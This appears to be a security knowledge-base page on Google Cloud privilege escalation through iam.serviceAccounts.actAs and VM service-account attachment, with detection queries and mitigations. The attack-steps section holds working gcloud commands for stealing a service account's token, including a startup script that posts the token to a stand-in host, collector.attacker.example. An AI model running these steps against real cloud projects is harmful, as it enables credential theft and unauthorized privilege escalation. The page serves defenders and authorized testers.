How it works
A Google Cloud service account can be attached to a resource that runs code. On Compute Engine, the attached account's tokens are served to everything on the VM by the metadata server. Attaching is how workloads get an identity without a key.
IAM guards the attachment with one permission on the service account: iam.serviceAccounts.actAs. The Service Account User role (roles/iam.serviceAccountUser) contains it. Google is explicit about the limit of that role: it does not let a principal create short-lived credentials for the account or use --impersonate-service-account. That needs Token Creator, which is the separate impersonation path.
The limit disappears as soon as the same principal can also run code on the resource. The chain is:
- The principal has
actAson a service account that holds more access than they do. - The principal can create a VM, or reconfigure one they can log on to.
- They attach the account, log on, and ask the metadata server for its token.
The principal never held a permission to mint a token, and now holds a token. This is the Google Cloud counterpart of iam:PassRole in AWS, and it is privilege escalation whenever the attached account outranks the caller.
Two conditions make it common:
- Service Account User granted on a project. Bound at the project level, the role applies to every service account in the project, including the most privileged one.
- The Compute Engine default service account. When no account is named, a new VM uses the project's default service account, which, depending on organization policy, may have been granted the Editor role automatically. A principal who can only create VMs can end up with Editor.
Compute Engine has two variants: create a new VM with the account attached, or switch the account on an existing VM, which requires the VM to be stopped first. Other services that run code as a service account follow the same rule; the Cloud Run and functions rules cover those deployments.
Prerequisites
iam.serviceAccounts.actAson the target service account, through Service Account User or a custom role, granted on the account or inherited from its project, folder or organization.- One of:
compute.instances.createand the related network and disk permissions to create a VM in some project, orcompute.instances.setServiceAccount,compute.instances.stopandcompute.instances.starton an existing VM.
- A way to run code on the VM: SSH access, a startup script the attacker supplies, or an application they already control there.
- If the service account lives in a different project from the VM, the organization policy must allow service accounts to be attached across projects.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find a service account you can attach
# Service Account User bound on the project covers every account in it
gcloud projects get-iam-policy lab-project-0001 \
--flatten="bindings[].members" \
--filter="bindings.role:roles/iam.serviceAccountUser" \
--format="table(bindings.members)"
# Or bound on one account
gcloud iam service-accounts get-iam-policy \
org-admin-sa@lab-project-0001.iam.gserviceaccount.com
# Ask Policy Analyzer who holds actAs on the account, with groups expanded
gcloud asset analyze-iam-policy --organization=123456789012 \
--full-resource-name='//iam.googleapis.com/projects/lab-project-0001/serviceAccounts/org-admin-sa@lab-project-0001.iam.gserviceaccount.com' \
--permissions='iam.serviceAccounts.actAs' --expand-groups
Pick the account whose roles are worth the most. Google Cloud IAM enumeration covers how to rank them.
2a. Create a VM that runs as the account
gcloud compute instances create ops-debug-01 \
--zone=us-central1-a \
--service-account=org-admin-sa@lab-project-0001.iam.gserviceaccount.com \
--scopes=cloud-platform
--scopes=cloud-platform matters: the token's reach is limited by the VM's access scopes as well as by the account's IAM roles.
2b. Or switch the account on a VM you control
gcloud compute instances stop web-01 --zone=us-central1-a
gcloud compute instances set-service-account web-01 \
--zone=us-central1-a \
--service-account=org-admin-sa@lab-project-0001.iam.gserviceaccount.com \
--scopes=cloud-platform
gcloud compute instances start web-01 --zone=us-central1-a
3. Read the token on the VM
gcloud compute ssh ops-debug-01 --zone=us-central1-a \
--command='curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
Without SSH access, a startup script does the same work at boot. The script can use the token on the VM, for example to add an IAM binding for the attacker, or send it out:
cat > startup.sh <<'EOF'
#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token)
curl -s -X POST -d "$TOKEN" https://collector.attacker.example/t
EOF
gcloud compute instances create ops-debug-02 \
--zone=us-central1-a \
--service-account=org-admin-sa@lab-project-0001.iam.gserviceaccount.com \
--scopes=cloud-platform \
--metadata-from-file=startup-script=startup.sh
4. Use the token
echo "<access_token value>" > token.txt
gcloud projects get-iam-policy lab-project-0001 --access-token-file=token.txt
What can be done with the token, on and off the VM, is covered in metadata server token theft.
Impact
The attacker gains every role of the attached service account for as long as the VM exists. If that account can set IAM policies, create service account keys or impersonate other accounts, the attacker converts the temporary token into durable access within minutes.
The damage is set by the most privileged service account the attacker may attach, not by their own roles. A developer role that looks harmless, VM creation plus Service Account User on the project, is equivalent to holding the roles of every service account in that project.
OPSEC and artifacts
- A new VM is hard to hide.
compute.instances.insertis an Admin Activity entry with the caller inauthenticationInfo.principalEmailand the attached account inrequest.serviceAccounts. Operators use names and machine types that match existing instances, and delete the VM when they are done, which writes a delete entry as well. - Reusing an existing VM avoids a new resource but requires a stop and a start. The trace is a
compute.instances.stop, acompute.instances.setServiceAccountand acompute.instances.startby the same caller, and an outage of the workload on that VM. - IAM records the attachment itself. An
iam.serviceAccounts.actAsentry names the service account and the principal who attached it. See the actAs event. - A startup script leaves its text in metadata. The script is stored as an instance attribute, visible to anyone who can describe the instance, until the instance is deleted or the key is removed.
- Reading the token writes nothing in the cloud logs. The metadata server is local to the VM. No IAM Credentials API entry exists for a token obtained this way, so searching for
GenerateAccessTokenfinds nothing. - Later activity is attributed to the service account. Audit entries show the service account as the principal, not the user. The link to the person is the instance creation or change record and the actAs entry.
Detection
All the set-up steps are Admin Activity entries, which are written without any configuration.
- VM created with, or switched to, a privileged service account by a user. The VM service account rules match
compute.instances.insertwith a named account andcompute.instances.setServiceAccount. - actAs used by a person on a sensitive account.
iam.serviceAccounts.actAsentries where the caller is a user account and the target is an administrative service account. - Stop, change, start. The three calls in sequence on one VM by one caller.
- Startup script added. A
startup-scriptkey set at creation or added later. See the startup script rules. - Service Account User granted broadly. A project-level binding of the role, or a new binding on a privileged account. See the impersonation rights rules.
log_id("cloudaudit.googleapis.com/activity")
AND (
(protoPayload.serviceName="compute.googleapis.com"
AND (protoPayload.methodName:"compute.instances.insert"
OR protoPayload.methodName:"compute.instances.setServiceAccount"))
OR
(protoPayload.serviceName="iam.googleapis.com"
AND protoPayload.methodName="iam.serviceAccounts.actAs")
)
AND NOT protoPayload.authenticationInfo.principalEmail =~ "gserviceaccount.com$"
Compare the caller's own roles with the roles of the account in protoPayload.request.serviceAccounts or in the actAs entry. Deployment pipelines attach service accounts all day, so the useful alert is a human caller, an account more privileged than that human, or an account that is not normally attached to anything.
Mitigation
- Grant Service Account User on single service accounts, never on a project, folder or organization. A project-level binding lets the holder attach every account in the project.
- Separate the two halves. People who can create or modify compute resources should not hold
actAson privileged accounts, and privileged accounts should be attachable only by the pipeline that deploys their workload. - Remove the default service account's Editor role and enforce
iam.automaticIamGrantsForDefaultServiceAccounts, so that plain VM creation does not hand out project-wide write access. - Keep privileged service accounts in their own project and leave cross-project attachment disabled with
iam.disableCrossProjectServiceAccountUsage, so they can't be attached to VMs elsewhere. - Give each workload a dedicated, minimal account. Following least privilege in Google Cloud IAM means the best account an attacker can attach is still a weak one. An over-permissioned service account is what makes this path pay off.
- Use deny policies to block
iam.serviceAccounts.actAson the most sensitive accounts for everyone except named principals. - Review who holds actAs. Run Policy Analyzer for
iam.serviceAccounts.actAson each privileged account, with groups expanded, and remove the holders that have no deployment role.
Detection rules for this attack
Log events to collect
FAQ
What does iam.serviceAccounts.actAs allow?
It lets a principal attach a service account to a resource, such as a Compute Engine VM. Code on that resource then gets the account's credentials. The Service Account User role contains the permission. Google states that this role does not allow creating short-lived credentials directly, but anyone who can also run code on the resource reaches the same result.
How is actAs different from Token Creator?
Token Creator lets a principal request a token for a service account straight from the IAM Credentials API. actAs only lets the principal put the account on a resource. The escalation needs a second permission, the right to create or change a resource that runs code, and it leaves an Admin Activity trail that direct token minting doesn't.
Is this the Google Cloud version of AWS iam:PassRole?
Yes, in effect. In both clouds a permission lets you hand an identity to a compute resource, and whoever controls the code on that resource gets the identity. iam:PassRole plus ec2:RunInstances in AWS corresponds to iam.serviceAccounts.actAs plus compute.instances.create in Google Cloud.
How is the escalation detected?
Through Admin Activity audit logs, which are always on: the instance insert or setServiceAccount entry from Compute Engine, and the iam.serviceAccounts.actAs entry that IAM writes with the service account and the principal who attached it. A user attaching an account more privileged than themselves is the signal.
References
- Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access, T1548.005 (MITRE ATT&CK)
- Roles for service account authentication (Google Cloud IAM documentation)
- Attach service accounts to resources (Google Cloud IAM documentation)
- Change the service account attached to a VM (Compute Engine documentation)
- gcloud compute instances create (gcloud CLI reference)
- Example logs for service accounts (Google Cloud IAM documentation)
- Restricting service account usage: organization policy constraints (Resource Manager documentation)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.